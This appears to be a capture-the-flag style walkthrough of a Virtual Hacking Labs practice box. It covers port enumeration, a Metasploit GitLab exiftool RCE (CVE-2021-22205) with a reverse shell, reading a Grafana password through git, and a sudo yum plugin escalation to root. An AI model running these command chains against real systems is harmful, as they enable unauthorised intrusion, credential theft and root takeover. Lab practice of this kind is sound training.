Howlsec
HOWLSEC
offensive security
// notes/ Practice Boxes
🔵

Code — VHL (10.11.1.148)

22/tcp open ssh OpenSSH 7.4

#virtual hacking labs#vhl#walkthrough#boxes#os:linux#tech:rce#tech:cve#tech:suid

Code — VHL (10.11.1.148)

Port Enumeration (10.11.1.148)

🐺 howlsec@kali
$22/tcp   open  ssh    OpenSSH 7.4
$80/tcp   open  http   nginx - GitLab 13.10 (502)
$3000/tcp open  http   Grafana 7.4.2 (/-/grafana/login)
$8060/tcp open  http   nginx 1.18.0
$9094/tcp open  unknown

Foothold: GitLab 13.10.2 unauth RCE (CVE-2021-22205, EDB-50532)

🐺 howlsec@kali
$msfconsole
$use multi/http/gitlab_exif_rce
$set RHOSTS 10.11.1.148 ; set LHOST 172.16.1.1 ; set RPORT 443 ; run
$shell

git user -> code (arbitrary file read via git)

/usr/bin/git lets you read files as another user; dump the Grafana config:

🐺 howlsec@kali
$LFILE=/var/opt/gitlab/grafana/grafana.ini
$/usr/bin/git diff /dev/null $LFILE
$# [security] admin_password = C0d3KODe01!
$ssh code@10.11.1.148     # password C0d3KODe01!
$# same trick reads /root/key.txt -> h80ndlgasgtf9mfe5tpo

Privesc: sudo yum plugin (GTFOBins)

🐺 howlsec@kali
$sudo -l   # (ALL) PASSWD: /usr/bin/yum
$TF=$(mktemp -d)
$cat >$TF/x<<E
$[main]
$plugins=1
$pluginpath=$TF
$pluginconfpath=$TF
$E
$cat >$TF/y.conf<<E
$[main]
$enabled=1
$E
$cat >$TF/y.py<<E
$import os,yum
$from yum.plugins import PluginYumExit,TYPE_CORE,TYPE_INTERACTIVE
$requires_api_version='2.1'
$def init_hook(conduit):
$  os.execl('/bin/sh','/bin/sh')
$E
$sudo yum -c $TF/x --enableplugin=y   # -> root